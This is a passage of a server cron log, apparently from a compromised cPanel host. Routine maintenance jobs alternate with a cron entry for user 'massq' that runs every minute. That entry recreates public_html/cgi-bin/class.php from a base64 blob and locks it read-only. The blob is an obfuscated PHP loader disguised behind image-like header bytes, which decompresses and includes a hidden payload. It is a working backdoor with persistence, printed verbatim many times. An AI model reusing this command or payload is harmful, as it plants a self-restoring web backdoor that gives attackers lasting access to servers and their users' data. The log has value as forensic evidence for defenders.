hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:11:01 server CROND[19153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:11:01 server CROND[19154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:11:01 server CROND[19155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:12:01 server CROND[19525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:12:01 server CROND[19526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:12:01 server CROND[19527]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:12:01 server CROND[19528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:13:01 server CROND[19894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:13:01 server CROND[19895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:13:01 server CROND[19896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:14:01 server CROND[20386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:14:01 server CROND[20387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:14:01 server CROND[20388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:15:01 server CROND[20784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:15:01 server CROND[20786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:15:01 server CROND[20793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:15:01 server CROND[20794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:15:01 server CROND[20795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:15:01 server CROND[20798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:15:01 server CROND[20799]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 15:15:01 server CROND[20803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:16:01 server CROND[21616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:16:01 server CROND[21617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:16:01 server CROND[21618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:17:01 server CROND[22092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:17:01 server CROND[22093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:17:01 server CROND[22094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:18:01 server CROND[22480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:18:01 server CROND[22481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:18:01 server CROND[22482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:19:01 server CROND[23117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:19:01 server CROND[23118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:19:01 server CROND[23119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:20:01 server CROND[23518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:20:01 server CROND[23520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:20:01 server CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:20:01 server CROND[23524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:20:01 server CROND[23527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:20:01 server CROND[23530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:20:01 server CROND[23528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:20:01 server CROND[23529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:20:01 server CROND[23526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:21:01 server CROND[24353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:21:01 server CROND[24352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:21:01 server CROND[24354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:22:01 server CROND[24720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:22:01 server CROND[24721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:22:01 server CROND[24722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:23:01 server CROND[25114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
